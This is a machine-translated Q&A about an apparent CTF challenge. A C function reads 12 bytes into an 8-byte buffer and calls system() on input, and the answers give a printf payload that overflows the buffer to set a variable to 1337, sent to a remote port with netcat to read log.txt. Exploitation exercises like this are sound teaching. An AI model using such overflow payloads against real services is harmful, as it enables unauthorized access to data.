C: IF 语句没有按预期触发

C: IF statement not firing when expected

我有以下功能。可执行文件 运行 没问题。在提示下程序是运行后,我输入\x0037337331,B的值设置为B: 0x31333337

任何关于如何触发打开的建议log.txt

int play() {
    int a;
    int b;
    char buffer[010];
    a = 0x41414141;
    b = 0x42424242;

    if (write(STDOUT_FILENO, "For a moment, nothing happened. Then, after a second or so, nothing continued to happen.\n> ", 91) < 0) {
        perror("write");
    }

    if (read(STDIN_FILENO, &buffer, 0xC) < 0) {
        perror("read");
    }

    if (a == 31337) {
        system(buffer);
    }
    else if (b == 1337) {
        readfile("log.txt");
    }
    else {
        printf("B: 0x%08x\n", b);
    }
}

你有两个错误:

行:

char buffer[010]; // This is octal i.e. 8!

应该是

char buffer[0xc]; 

还有

read(STDIN_FILENO, &buffer, 0xC)

应该是

read(STDIN_FILENO, buffer, 0xC)

因为您需要指向缓冲区开头的指针。

编辑

还需要在system之前的buffer中加入空字符。

因为十进制的 1337 是十六进制的 539,所以只需 运行 按照 bash.

中的命令
$ printf 'xxxxxxxx\x39\x05\x00\x00' | ./a.out

buffer 的大小为 010,即 8 字节,因此它将用 xxxxxxxx 填充,并且由于 b 分配在旁边buffer 在堆栈中,将 0xC 字节读入 buffer 将泄漏到 b 并填充 0x39050000。由于大多数体系结构是小端,b 的值将是 0x00000539,即十进制的 1337

也许局部变量在堆栈中的分配方式取决于编译器、体系结构或 OS,但这似乎是 Linux OS x86 上 gcc-compiled 二进制文件的行为从 10 年前开始。

添加@ymonad给出的答案

由于必须远程完成,他必须 netcat 进入端口 1984。所以这应该是必填项。

printf 'xxxxxxxx\x39\x05\x00\x00' | netcat serverip 1984